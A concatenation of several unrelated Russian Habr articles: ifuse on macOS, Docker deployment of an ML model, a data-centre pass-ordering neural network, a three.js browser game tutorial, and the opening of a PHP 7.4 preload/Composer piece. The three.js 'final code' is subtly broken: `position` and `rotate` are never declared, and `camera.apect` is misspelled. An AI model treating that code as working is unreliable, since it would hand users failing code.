Скрипт сам скачает все что необходимо homebrew, включая Xcode Command Line Tools. Для работы ifuse необходим [OSXFuse](https://en.wikipedia.org/wiki/Filesystem_in_Userspace), который можно скачать с [оффсайта](https://osxfuse.github.io/) или установить с помощью команды:
```
brew cask install osxfuse
```
Теперь необходимо установить основные зависимости:
```
brew uninstall --ignore-dependencies libimobiledevice
brew uninstall --ignore-dependencies usbmuxd
#Если libimobiledevice и usbmuxd еще не устанавливались
#можно сразу выполнить эти команды
brew install --HEAD usbmuxd
brew unlink usbmuxd
brew link usbmuxd
brew install --HEAD libimobiledevice
```
**ВАЖНО:** Если у вас уже установлены стабильные версии libimobiledevice и usbmuxd их обязательно необходимо удалить и установить dev версии с ключем --HEAD иначе при подключении устройств с iOS 12 возникнет ошибка.
И наконец устанавливаем iFuse:
```
brew install ifuse
```
Все готово, если подключено одно устройство то примонтировать его можно командой:
```
ifuse ~/_ifuse_mount_point
```
где *~/\_ifuse\_mount\_point* путь к точке монтирования.
Ifuse умеет монтировать общедоступную файловую систему (или всю если есть root), а так же директории приложений которые поддерживают API расшаривания файлов.
Если подключено несколько устройств то для того чтобы выбрать какое из них примонтировать необходимо использовать ключ -u
```
ifuse ~/ifuse_mnt -u
```
Для того чтобы узнать UniqueDeviceID можно воспользоваться командой:
```
ideviceinfo
```
Для запуска из Spotlight можно создать AppleScript и сохранить его как приложение:
```
try
do shell script "/usr/local/bin/ifuse ~/_ifuse_mount_point"
on error errMsg
display dialog "ERROR: " & errMsg
end try
``` | https://habr.com/ru/post/459888/ | null | ru | null |
# Разворачиваем модель машинного обучения с Docker – Часть 1
*Перевод статьи подготовлен в преддверии старта базового и продвинутого курсов по машинному обучению.*
> Расширяем возможности для наших студентов. Теперь в OTUS есть целых два курса по Machine Learning: [базовый](https://otus.pw/xnxQ/) и [продвинутый](https://otus.pw/JZWo/). Оба курса стартуют в августе, в связи с чем мы приглашаем всех желающих на [день открытых дверей](https://otus.pw/xnxQ/) в онлайн-формате, в рамках которого наш эксперт — Дмитрий Сергеев (Senior Data Scientist в Oura) подробно расскажет о курсах, а также ответит на интересующие вопросы.
---
Наша основная задача как специалистов по Data Science – это обработка данных, а также разработка и совершенствование моделей машинного обучения. Бытует мнение, что обработка данных – самый трудоемкий этап во всем проекте, а точность модели определяет успех информационного продукта. Однако отрасль сейчас находится на переходном этапе «от эпохи открытий к эпохе внедрения» (Сверхдержавы в области искусственного интеллекта: Китая, Силиконовая Долина, а новый мировой порядок в этой сфере диктует [Ли Кайфу](https://www.linkedin.com/in/kaifulee/)). Сейчас картина становится шире, и фокус смещается с построения модели на предоставление модели пользователям в качестве сервиса и с производительности модели к ее бизнес-ценности. Самый известный пример здесь Netflix, который никогда не использовал модели победителей их соревнования на 1$ млн, несмотря на обещанное значительное повышение производительности, обеспечиваемое этими движками ([Netflix Never Used Its $1 Million Algorithm Due To Engineering Costs — WIRED](https://www.wired.com/2012/04/netflix-prize-costs/)).
*От понимания к реальности (слайды с конференции [Strata Data — Kubeflow explained: Portable machine learning on Kubernetes](https://conferences.oreilly.com/strata/strata-ny-2018/public/schedule/detail/69041))*
Имплементация модели крайне важна, и информационные продукты теперь можно рассматривать как программные продукты, ведь у них есть аналогичная структура проекта, менеджмент и жизненный цикл. Поэтому мы вправе использовать все известные методики из области разработки ПО для развертывания моделей машинного обучения на продакшене.
Контейнеризация – метод, который широко используется для развертывания программных продуктов как на облачной платформе, так и на локальном сервере. По сути, речь идет об упаковке кода и зависимостей в коробку, которая называется контейнером. Ниже приводится определение контейнера в контексте разработки программного обеспечения:
С сайта [Docker](https://www.docker.com/resources/what-container)
**Контейнер* – это стандартная единица программного обеспечения, которая упаковывает код и все его зависимости, чтобы приложение могло быстро и надежно запускаться в разных вычислительных средах.*
Docker – это платформа, которая может помочь вам ускорить процесс разработки, контейнеризации, а также развертывания нашей модели машинного обучения в других средах. В этой серии статей я расскажу вам как хранить модель, использовать ее в качестве конечной точки API, контейнеризировать ваше ML-приложение и запускать его на движке Docker.
#### Вопрос первый «Почему Docker?»
Прежде чем мы начнем, вам нужно будет зарегистрироваться в [Docker ID](https://www.docker.com/products/docker-desktop), если у вас его нет, а затем использовать этот ID для загрузки и установки Docker на свой компьютер.
Когда я только начинал свою работу в банке, мне поручили проект, который был связан с обработкой данных, и первый MVP (минимальный жизнеспособный продукт) нужно было доставить за месяц. Звучит напряжно, но мы в команде используем методологию Agile в процессе разработки всех основных продуктов, и основной целью этого MVP было проверить гипотезу о практичности и эффективности продукта (более подробную информацию про методологию Agile вы найдете в книге Эрика Риса [«Lean Startup»](https://www.amazon.com.au/Lean-Startup-Innovation-Successful-Businesses/dp/0670921602/ref=sr_1_1?hvadid=283888672481&hvdev=c&hvlocphy=9071408&hvnetw=g&hvpos=1t3&hvqmt=b&hvrand=289291183621912784&hvtargid=kwd-27701589042&keywords=the+lean+startup+book&qid=1577586974&sr=8-1)). Мой менеджер хотел, чтобы я развернул свою модель на его ноутбуке, то есть запустил ее и использовал для прогнозирования.
Если вы представили себе все шаги, которые мне нужно было сделать, чтобы подготовить ноутбук менеджера к запуску моего проекта, то у вас могло возникнуть много вопросов, таких как:
* На какой операционной системе нужно будет запускать модель, ведь он пользуется Macbook и ThinkPad? Я мог бы, конечно, спросить его об этом, но предположим, что в тот момент жизни мой босс был очень противным, и не хотел, чтобы я знал эту информацию. (Эта мысль здесь для того, чтобы вы осознали проблему зависимости от операционной системы, а так мой босс правда хороший человек.)
* Второй вопрос: «Установлен ли у него Python?». Если да, то какая версия, 2 или 3? Какая именно: 2.6, 2.7 или 3.7?
* А как насчет необходимых пакетов, таких как scikit-learn, pandas и numpy? Установлены ли у него те же версии, что и у меня на машине?
Помня про все эти вопросы, вот что я должен был сделать с его компьютером, чтобы на нем запустилась моя модель.
1. Установить Python.
2. Установить все пакеты.
3. Настроить переменные среды.
4. Перенести код на машину.
5. Запустить код с необходимыми параметрами.
Для выполнения всех этих шагов понадобится много усилий, а при запуске кода в различных средах есть риск несовместимости.
Итак, если у вас уже установлен и запущен Docker, вы можете открыть терминал и выполнить следующую команду:
```
docker run --rm -p 5000:5000 datascienceexplorer/classifier
```
Через пару минут вы должны увидеть нечто похожее в своем терминале:
```
* Serving Flask app "main" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
```
Теперь откройте свой любимый браузер и перейдите по этому адресу:
```
http://localhost:5000/apidocs/
```
Нажмите на строчку **predict** из API, а затем на кнопку *try-out* справа, интерфейс будет выглядеть следующим образом:
*Страница Swagger для API на бэкенде*
Помните стандартный набор данных Цветы Ириса, с которым вы игрались? Это небольшое приложение поможет вам спрогнозировать вид цветка на основе информации о некоторых измерениях на основе классификационной модели. На самом деле вы уже используете мою модель машинного обучения как сервис, и все, что вы установили – это лишь Docker, и мне не понадобилось ставить Python или какие-то пакеты на вашу машину.
Вот в чем сила Docker. Он помогает мне решать проблемы с зависимостями, чтобы я мог быстро разворачивать свой код в разных средах или, в данном случае, на вашей машине.
#### DevOps Data Science
Теперь, надеюсь, я вас достаточно замотивировал, чтобы продолжать чтение, и если вы просто захотите пропустить эти части и перейти сразу к коду, то все в порядке, поскольку это значит, что вы хотите контейнеризировать свою модель машинного обучения с Docker и предоставлять ее как сервис. Однако сейчас нам придется немного остановиться и отложить все материалы про машинное обучение и Docker в сторону, чтобы подумать о DevOps в Data Science и о том, зачем он там вообще нужен.
#### Что же такое DevOps?
> *Из Википедии
>
> DevOps – это совокупность практик, сочетающих в себе разработку программного обеспечения и информационно-технологическое обслуживание, целью которых является сокращение жизненного цикла разработки систем и обеспечение непрерывной поставки высококачественного программного обеспечения.*
Целью разработчиков программного обеспечения является своевременная доставка кода со всем необходимым функционалом, в то время как удобство использования, надежность, масштабируемость, сетевая часть, брандмауэр, инфраструктура и т.д. часто остаются операционными проблемами. Из-за разнящихся конечных целей и, вероятно, ключевых показателях эффективности, эти команды обычно не уживаются под одной крышей. Поэтому DevOps-специалист мог бы сыграть роль связующего звена и помочь этим командам работать сообща, или даже взять на себя ответственность обеих сторон, чтобы в итоге получилась одна команда, ведущая разработку от начала до конца. В конце концов, вы ведь не можете просто отдать свой компьютер клиенту, поскольку на нем-то код работает как надо.
> *Но с Jupyter notebook я счастлив!!!*
У специалистов по Data Science история аналогичная, поскольку опять же вы не можете просто взять и отдать свой ноутбук с запущенным Jupyter Notebook, чтобы клиент просто пользовался им. Нам нужен способ использовать модель так, чтобы она могла обслуживать большое количество пользователей в любое время в любом месте и подниматься с минимальным временем простоя (удобство использования, надежность, масштабируемость).
По этой причине компании ищут специалистов по анализу данных с навыками DevOps, которые умеют разворачивать и внедрять свои модели машинного обучения на продакшене и приносить компании бизнес-ценность, вместо того чтобы просто доказывать концепции и фокусироваться на повышении точности модели. Таких людей называют единорогами.
Есть множество способов развернуть модель машинного обучения, но Docker – это мощный инструмент, который даст вам необходимую гибкость, сохранив при этом надежность и инкапсуляцию вашего кода. Конечно, мы не будем просить наших клиентов устанавливать Docker и открывать терминал для его запуска. Но этот этап контейнеризации в конечном итоге станет основой, когда вы начнете работать с реальными проектами, где вам придется разворачивать свои модели на облачных платформах или локальных серверах.
#### Хранение обученной модели
Еще в университете мы узнали, что проект Data Science состоит из шести этапов, как показано на картинке ниже. Если автоматизация и развертывание модели на продакшене является нашей конечной целью, то как же «отправить» модель на стадию развертывания?
*Шесть этапов Data Science-проекта*
Самый простой способ, который только можно придумать – это скопировать все из нашего notebook, вставить в файл с расширение .py и запустить его. Однако каждый раз, когда нам нужно будет сделать прогноз, мы будем запускать этот файл и заново на тех же данных обучать модель. Если такой подход хоть как-то применим для простых моделей с небольшим обучающим набором данных, он не будет эффективен для сложных моделей с большим количеством обучающих данных (подумайте о том, сколько времени вам понадобится для обучения модели ANN или CNN). Здесь имеется в виду, что, когда пользователь отправляет запрос модели на прогнозирование, ему придется ждать от нескольких минут до нескольких часов, чтобы получить результат, поскольку много времени уйдет на выполнения этапа обучения модели.
#### Как хранить модель сразу после того, как она обучится?
В большинстве случаев модель машинного обучения в Python будет храниться в памяти как объект Python во время выполнения кода, а затем будет удалена после окончания работы программы. Если бы мы могли сохранить этот объект на жестком диске сразу после того, как модель обучится, то в следующий раз, когда нам понадобится сделать прогноз, мы сможем просто загрузить готовую модель в память и не проходить этапы инициализации и обучения. В информатике процесс преобразования объекта в поток байтов для хранения называется *сериализацией*. В Python это может быть легко реализовано с помощью пакета под названием *pickle*, который изначально имеет нативную поддержку Python. Python-разработчики еще называют *«pickling»* процесс сериализации объекта с помощью *pickle*.
В Jupyter notebook вы можете с легкостью сохранить объект модели (в моем случае «knn») в файл *pkl*, который располагается в том же каталоге, что и код:
```
import pickle
with open('./model.pkl', 'wb') as model_pkl:
pickle.dump(knn, model_pkl)
```
*Сохранение модели в текущую директорию*
Мой notebook я рекомендую [взять отсюда](https://github.com/chauvinhloi/docker-session/blob/build-and-store/Supervised%20Machine%20Learning%20-%20Classification.ipynb), чтобы дальше у нас были аналогичные результаты. Или же вы можете использовать свою модель, но убедитесь, что у вас есть все необходимые пакеты, а также нужные входные данные для модели.
Первый шаг пройден, вы сохранили обученную модель. Дальше мы будем переиспользовать модель для прогнозирования, но об этом уже во второй части статьи.
---
### Узнать подробнее о:
* [Machine Learning. Продвинутый курс](https://otus.pw/JZWo/)
* [Machine Learning. Базовый курс](https://otus.pw/xnxQ/)
---
Читать ещё
----------
* [Как сделать тематическое моделирование форума быстро или что беспокоит людей с целиакией](https://habr.com/ru/company/otus/blog/503398/)
* [Энтропия: как Деревья Решений принимают решения](https://habr.com/ru/company/otus/blog/502200/)
* [Создать мощный курс Machine Learning: миссия выполнена](https://habr.com/ru/company/otus/blog/489384/) | https://habr.com/ru/post/513672/ | null | ru | null |
# “И все это из-за потеряшек!” или как ЦОД КРОК заинтересовался в нейронных сетях
Привет, Хабр! Меня зовут Денис, и я занимаюсь интеграциями систем ЦОД и учетом оборудования клиентов. Сегодня я хочу рассказать, как мы автоматизировали выдачу пропусков в наши ЦОДы с помощью нейронных сетей. Расскажу немного о самой системе, из чего она состоит и как работает, а также о том, какую выгоду получили наши клиенты.
Для начала немного предыстории, почему для нас было важно решить эту задачку.
Дано:
* 3 дата-центра в общей сумме на 1000 стойко-мест
* Все они практически полностью укомплектованы, работа с запросами клиентов кипит 365 дней в году.
* Большое количество разных обращений, из которых примерно 30% - заявки на посещение ЦОД клиентом.
* Все обращения обрабатываются дежурным инженером ЦОД в почте, и на каждый запрос уходит 10-15 минут.
Из-за того что изначально вся работа с обращениями клиентов велась в почте, а дежурные инженеры сильно нагружены, происходили случаи «Потеряшек» (прим. «Потеряшки» - это такие письма, содержащие обращение от клиента о работах в ЦОД, которые потерялись/были пропущены и т.д. из-за человеческого фактора). Например, могли теряться заявки на пропуска в ЦОД, что оставляло негативные впечатления. Клиенты ожидали у входа в здание, пока дежурный инженер найдет их заявку и закажет пропуск, который прошлая смена «просмотрела». Мы подумали, а что если автоматизировать этот процесс?
### Нейронка нам в помощь
В итоге мы решились разработать нейронную сеть, которая будет делать все сама от обработки обращения до заказа самого пропуска. Тем самым мы хотели исключить человеческий фактор с нашей стороны и увеличить «полезное» время работы наших инженеров (а это, кстати, 10-15% от рабочего времени смены, около 2-2.5 часов в день).
В ходе разработки мы сталкивались с различными трудностями и проблемами, начиная от поиска подрядчика, заканчивая переобучением системы перед ее релизом. Последняя откатила старт продукта еще на несколько месяцев. Но это все оказалось мелочами.
И вот мы начинаем заново обучать систему, заново собирать письма за прошедший год с обращениями на посещение ЦОДа (2,5 – 3 тысячи писем, с которыми нам помогли наши доблестные воины из HelpDesk, воскрешая мертвых путем божественного вмешательства и темной некромантии), как перед нами встает новая задача – ВЛОЖЕНИЯ!
Клиенты начали использовать шаблонные формы в различных форматах (Word, PDF, Exel, картинки), что несомненно отразилось на работе системы, которая на данный момент умеет работать только с текстом.
Честно признаемся, что новую задачку мы еще не решили (пока стараемся довести нейросеть до уровня бога при работе с текстом), но обязуемся не останавливаться на полпути и довести дело до конца!
Хотите узнать из чего состоит система?
### Поехали дальше!
Так выглядит регистрация всех обращений, ID - ссылка на форму с данными клиента, почта автора, время, статус и решение по нему (заказан пропуск или нет).
Сама система состоит из следующих компонентов:
1. Модуль обработки писем
2. Веб-интерфейс для доступа к данным
3. Классификатор
4. Сервисы извлечения данных:
* NER-модель для извлечения данных заявки на пропуск
* NER-модель для извлечения данных о подписи в письме
* NER-модель для морфологической разметки текста
Модуль обработки писем представляет собой приложение на базе фреймворка Django. И есть некоторые особенности его работы:
1. Модуль обработки писем запускается по расписанию раз в минуту,
2. Принимает почту с корпоративного почтового сервера,
3. Обрабатывает содержимое письма с помощью вызова классификатора и сервисов извлечения данных
4. Формирует заявку на пропуск в виде JSON
5. Отправляет заявку на пропуск в нашу систему заказа пропусков
Веб-интерфейс для доступа к данным представляет собой Django-приложение предназначенное для:
1. Управления данным Представителей
2. Управления данными Организаций
3. Просмотра Заявок на пропуск
*P.S. Организация - компания клиента; Представитель - представитель организации; Автор - человек/рассылка, с адреса которого поступило обращение.*
Классификатор представляет собой веб-приложение, основанное на фреймворке Deeppavlov, использующее модель машинного обучения на базе нейросети для классификации писем на являющиеся заявками на пропуск, запущенное на порту локального сетевого интерфейса.
Пример запроса к Классификатору:
`curl -d '{"x":["Добрый день! Закажите мне пропуск на 28 января. С уважением, Сергей"]}' -H "Content-Type: application/json" -X POST http://localhost:5002/model`
Пример ответа Классификатора:
`[["1"]]`
где 1 означает, что письмо является заявкой на пропуск, а 0 - что не является.
NER-модели, как и классификатор, являются веб-приложениями, основанными на фреймворке Deeppavlov. С их помощью система понимает кто к нам обратился, есть ли у автора обращения полномочия на заказ пропуска, на какую дату, на кого (включая автомобиль) и куда требуется заказать пропуска.
### Процесс оформления заявки
При поступлении обращения в почту, система узнает из письма все данные с помощью NER-моделей и создает объект в админке (Django). Далее система старается найти представителя по email, если же такого пользователя нет, то система берет почтовый домен и ищет организацию по нему.
После того, как мы узнали, кто к нам обращается, куда и на кого нужны пропуска - система создает страничку-форму для заполнения информации о посетителях.
Пример формы:
Затем отправляет заявку на подтверждение уполномоченным лицам из этой организации.
Из минусов можно отметить то, что для этой системы на данный момент требуется отдельная БД с данными о клиентах, т.к. наш “справочник” еще не дошел до эталонной стадии. Но к середине-концу лета мы уже планируем интеграцию нейросети, что существенно упросит ее обслуживание, т.к. сейчас все контакты и полномочия изменяются в ручном режиме.
Система справляется со своей задачей отлично и регистрирует все запросы, но пока не все еще научились с ней работать.
### Выгода клиенту
Для клиента, использующего почту как основной вид связи с нашим ЦОД, польза заключается в быстром заказе пропуска без участия ДИ. т.е. на скорость процесса оформления пропуска будет влиять только ваша медь или оптоволокно).
Если хочешь к нам в ЦОД на экскурсию - можешь писать нам на портал, наша нейросеть свяжется с тобой и оформит тебе пропуск!\*
*\*Если ты уже клиент нашего ЦОД* | https://habr.com/ru/post/691816/ | null | ru | null |
# Как создать 3d игру прямо в браузере
[Ссылка на обучающее видео](https://www.youtube.com/watch?v=iXd39ZBCveA)
Привет всем. Сегодня я вам расскажу как легко вы можете создать 3d игру прямо в вашем браузере и сделать вы сможете это очень быстро, примерно за минут 30.
Three.js
--------
Это библиотека которая позволяет создавать 3д графику, она довольно проста и мощна. Мы будем использовать только её и больше никаких других фреймворков. Чтобы её подключить вам нужно скачать файл из [этого рипозитория](https://github.com/mrdoob/three.js/) в папке build/three.js. Я качаю файл three.min.js (точно такая же, но весит меньше) и просто подключаю.
```
//тут пишем код
```
Обратите внимание что отступы у body стоят нулевые, это нужно чтобы экран не съезжал вправо.
scene, camera и renderer
------------------------
Создание графики в данной библиотеке основано на трёх столпах. Первое Scene это весь наш мир, вся информация, которая содержится о нём. Второе Camera это объект, который обозначает с какого ракурса мы будем смотреть на этот мир. Третье Render, объект который обрабатывает камеру и сцену и выдаёт результат на экран. Давайте создадим эти три объекта для начала.
```
var scene = new THREE.Scene();
//камера содержит 4 аргумента: угол обзора в градусах, отношение сторон экрана, и растояние обработки минимальное и масимальное
var camera = new THREE.PerspectiveCamera(75, window.innerWidth/window.innerHeight, 0.1, 1000);
camera.lookAt(new THREE.Vector3(0, 0, 0)); //указываем куда будет смотреть камера
scene.add(camera);
var renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight); //указываем размеры рендера, которые соответсвую нашей камере
document.body.appendChild(renderer.domElement); //добавляем DOM элемент рендара в html код
```
Также нам нужна функция анимации, которая будет покадрово обновлять сцену.
```
function animate() {
requestAnimationFrame(animate);//вызываем функцию при каждом обновлении кадра
renderer.render(scene, camera);//обновляем рендер
}
animate();//вызываем первый раз функцию
```
Автообновление размеров экрана
------------------------------
Размеры окна браузера могут меняться нам нужно поставить событие на изменение размеров и обновлять размеры камеры и рендера.
```
function setSize() {
renderer.setSize(window.innerWidth, window.innerHeight);// устанавливаем размеры рендера
camera.apect = window.innerWidth/window.innerHeight;//устанаваливает отношение сторон камеры
camera.updateProjectionMatrix();//обновляем камеру
}
window.addEventListener("resize", setSize);//создаем событие на изменение размеров окна браущера
```
Освещение
---------
Чтобы было что-товидно нам нужен свет. Я создам два типа света, первый свет Ambient, которая распределён равномерно по всей сцене и как бы имитирует солнце. И второй Point (точечный) имитирует свет лампочки.
```
var light = new THREE.AmbientLight(0xffffff, 0.2);//создаем равномерный свет белого цвета с мощностью 0.2
scene.add(light);//добавляем в сцену равномерный свет
var light = new THREE.SpotLight(0xffffff);//создаем точечный свет белогоцвета
light.position.set(0, 5, 0);//задаем координаты точечного света
scene.add(light);//добавляем в сцену точечный свет
```
Создаём первый объект
---------------------
Объекты в three.js добавляется путём задание геометрии объекта и материала. Для начала создадим пол коричневого цвета, это будет просто обычный параллелограмм. Поэтому геометрию возьмём BOX и просто растянем его под размеры параллелограмма, а материал возьмём Phong чтобы хорошо было видно отражение точечного света.
```
//создаём пол с геометрией куба и Phong материалом коричневого цвета, side указываем с обоих сторон материал
var floor = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0xad7600, side: THREE.DoubleSide}));
floor.scale.set(5, 0.1, 10); //устанавливаем нужные размеры
floor.position.y = -0.5; //указываем координату чтобы он был под ногами
scene.add(floor); // добавляем в сцену
```
Смотрим что получилось:
Как мы видим у нас под ногами пол коричневого цвета.
Управление
----------
Теперь нам нужно осуществить управление. Сделаем его с помощью кнопок WASD. W и S будем ходить вперёд назад. A и D будем поворачивать камеру по вертикальной оси. Сначала будем отслеживать нажатие кнопок WASD и записывать в переменную какая кнопка нажата в данный момент
```
var keys = { w: false, a: false, s: false, d: false }; //переменная указывает какие кнопки нажаты сейчас
function keyDown(e) {
//если нажали какую-то кнопку запишем в переменную это
if (e.code == "KeyW") {
keys.w = true;
} else if (e.code == "KeyA") {
keys.a = true;
} else if (e.code == "KeyS") {
keys.s = true;
} else if (e.code == "KeyD") {
keys.d = true;
}
}
function keyUp(e) {
//если отпустили кукую-то кнопку запишем в переменную это
if (e.code == "KeyW") {
keys.w = false;
} else if (e.code == "KeyA") {
keys.a = false;
} else if (e.code == "KeyS") {
keys.s = false;
} else if (e.code == "KeyD") {
keys.d = false;
}
}
window.addEventListener("keydown", keyDown);//событие нажатие кнопки
window.addEventListener("keyup", keyUp);//событие отпускание кнопки
```
Теперь зная какая кнопка нажата в данный момент, мы можем в нашу функцию анимации добавлять координаты и поворот камеры. Вот как мы изменяем функцию animate
```
function animate() {
var speed = 0.05;//скорость пердвежение
if (keys.w && !keys.s) {//если нажата w и не нажата s
//идем вперет в зависиости от поворота камеры
position[0] += speed*Math.sin(rotate);
position[1] += speed*Math.cos(rotate);
}
if (!keys.w && keys.s) {//если нажата s и не нажата w
//идем назад в зависимости от поворота камеры
position[0] -= speed*Math.sin(rotate);
position[1] -= speed*Math.cos(rotate);
}
if (keys.a && !keys.d) {//если нажата a и не нажата d
rotate += speed; //поворачиваем влево
}
if (!keys.a && keys.d) {//если нажата d и не нажата a
rotate -= speed; //поворачиваем вправо
}
// добавляем ограничения по координатам чтобы мы не могли уйти бесконечно далеко
if (position[0] > 2.3) { position[0] = 2.3 }
if (position[0] < -2.3) { position[0] = -2.3 }
if (position[1] > 4.8) { position[1] = 4.8 }
if (position[1] < -4.8) { position[1] = -4.8 }
//устанаваливаем координаты камеры
camera.position.x = position[0];
camera.position.z = position[1];
//устанавливаем точку куда должна смотреть камера
camera.lookAt(position[0]+5*Math.sin(rotate), 0, position[1]+5*Math.cos(rotate))
//эти две строчки уже и так были в той функции
requestAnimationFrame(animate);
renderer.render(scene, camera);
}
```
Теперь мы можем передивигаться.
Заканчиваем
-----------
Теперь же просто для завершённости проекта добавим еще стены и потолок точно по такому же принципу как с полом и покрасим стены в зелёный и потолок в сиреневвый.
```
var wall1 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall1.scale.set(5, 1, 0.1);
wall1.position.z = 5;
scene.add(wall1);
var wall2 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall2.scale.set(5, 1, 0.1);
wall2.position.z = -5;
scene.add(wall2);
var wall3 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall3.scale.set(0.1, 1, 10);
wall3.position.x = 2.5;
scene.add(wall3);
var wall4 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall4.scale.set(0.1, 1, 10);
wall4.position.x = -2.5;
scene.add(wall4);
var ceil = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0xff00aa, side: THREE.DoubleSide}));
ceil.scale.set(5, 0.1, 10);
ceil.position.y = 0.5;
scene.add(ceil);
```
Вот что у нас получилось:
Конечный код
------------
Вот полностью код, который мы написали:
```
var scene = new THREE.Scene();
var camera = new THREE.PerspectiveCamera(75, window.innerWidth/window.innerHeight, 0.1, 1000);
camera.lookAt(new THREE.Vector3(0, 0, 0));
scene.add(camera);
var renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
function setSize() {
renderer.setSize(window.innerWidth, window.innerHeight);
camera.apect = window.innerWidth/window.innerHeight;
camera.updateProjectionMatrix();
}
window.addEventListener("resize", setSize);
var floor = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0xad7600, side: THREE.DoubleSide}));
floor.scale.set(5, 0.1, 10);
floor.position.y = -0.5;
scene.add(floor);
var wall1 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall1.scale.set(5, 1, 0.1);
wall1.position.z = 5;
scene.add(wall1);
var wall2 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall2.scale.set(5, 1, 0.1);
wall2.position.z = -5;
scene.add(wall2);
var wall3 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall3.scale.set(0.1, 1, 10);
wall3.position.x = 2.5;
scene.add(wall3);
var wall4 = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0x00870e, side: THREE.DoubleSide}));
wall4.scale.set(0.1, 1, 10);
wall4.position.x = -2.5;
scene.add(wall4);
var ceil = new THREE.Mesh(new THREE.BoxGeometry(), new THREE.MeshPhongMaterial({color: 0xff00aa, side: THREE.DoubleSide}));
ceil.scale.set(5, 0.1, 10);
ceil.position.y = 0.5;
scene.add(ceil);
var light = new THREE.AmbientLight(0xffffff, 0.2);
scene.add(light);
var light = new THREE.SpotLight(0xffffff);
light.position.set(0, 5, 0);
scene.add(light);
var keys = { w: false, a: false, s: false, d: false };
function keyDown(e) {
if (e.code == "KeyW") {
keys.w = true;
} else if (e.code == "KeyA") {
keys.a = true;
} else if (e.code == "KeyS") {
keys.s = true;
} else if (e.code == "KeyD") {
keys.d = true;
}
}
function keyUp(e) {
if (e.code == "KeyW") {
keys.w = false;
} else if (e.code == "KeyA") {
keys.a = false;
} else if (e.code == "KeyS") {
keys.s = false;
} else if (e.code == "KeyD") {
keys.d = false;
}
}
window.addEventListener("keydown", keyDown);
window.addEventListener("keyup", keyUp);
function animate() {
var speed = 0.05;
if (keys.w && !keys.s) {
position[0] += speed\*Math.sin(rotate);
position[1] += speed\*Math.cos(rotate);
}
if (!keys.w && keys.s) {
position[0] -= speed\*Math.sin(rotate);
position[1] -= speed\*Math.cos(rotate);
}
if (keys.a && !keys.d) {
rotate += speed;
}
if (!keys.a && keys.d) {
rotate -= speed;
}
if (position[0] > 2.3) { position[0] = 2.3 }
if (position[0] < -2.3) { position[0] = -2.3 }
if (position[1] > 4.8) { position[1] = 4.8 }
if (position[1] < -4.8) { position[1] = -4.8 }
camera.position.x = position[0];
camera.position.z = position[1];
camera.lookAt(position[0]+5\*Math.sin(rotate), 0, position[1]+5\*Math.cos(rotate));
requestAnimationFrame(animate);
renderer.render(scene, camera);
}
animate();
```
Заключение
----------
Теперь вы знаете как легко создать 3д графику в браузере, даже если вы не хотели создавать игру. 3д графика может пригодиться в проектирование и еще много где. Также в данной библиотеке можно добавлять текстуры, 3д модели и прочее, можно еще сделать управление с помощью мыши и клавиатуры как в шутерах, например. Если вы хотите узнать как это сделать, я могу создать отдельные статьи про это если в голосовании будет много желающих, я сделаю такие статьи. В данной статье я показал лишь основы, чтобы вы знали с чего начать. Спасибо за внимание
[Ссылка на обучающее видео](https://www.youtube.com/watch?v=iXd39ZBCveA) | https://habr.com/ru/post/570666/ | null | ru | null |
# Preload в php 7.4: Composer и выбор файлов для предзагрузки
Мы в Badoo активно занимаемся переходом на PHP 7.4 и с большим энтузиазмом ждём возможности использовать новую функцию preload. Не так давно мы [рассказывали](https://habr.com/ru/company/badoo/blog/472528/) о наших экспериментах с ней.
Судя по всему, сообщество взбудоражено не меньше, чем мы. Разработчики фреймворков активно [обсуждают](https://github.com/laravel/ideas/issues/1406#issuecomment-471232253) возможности внедрения прелоада (а некоторые уже [сделали его поддержку](https://symfony.com/blog/new-in-symfony-4-4-preloading-symfony-applications-in-php-7-4)). Теперь дошла очередь и до менеджера зависимостей Composer.
[Italo Baeza](https://medium.com/@DarkGhostHunter) написал [статью](https://medium.com/swlh/composer-how-it-should-preload-in-php-7-4-3f8d19fda40), в которой высказал своё мнение о том, как Composer должен работать с прелоадом. Я решил поделиться переводом этого текста, а заодно и переводом [другой его статьи](https://medium.com/swlh/preloading-your-php-7-4-project-in-one-line-9ede756f292c) — о том, что ответили на предложение сами разработчики Composer, а также о новом инструменте, который облегчает работу с прелоадом.
Как Composer должен выполнять предзагрузку в PHP 7.4
----------------------------------------------------
Предзагрузка (preload) — одна из важных возможностей, которую PHP 7.4 предлагает разработчикам, нуждающимся в более высокой производительности. Эту функцию можно назвать «прогревом» перед внедрением JIT-движка, который появится (или должен появиться) в PHP 8. До этого будет достаточно предзагрузки, и кто знает, возможно, они смогут работать в тандеме.
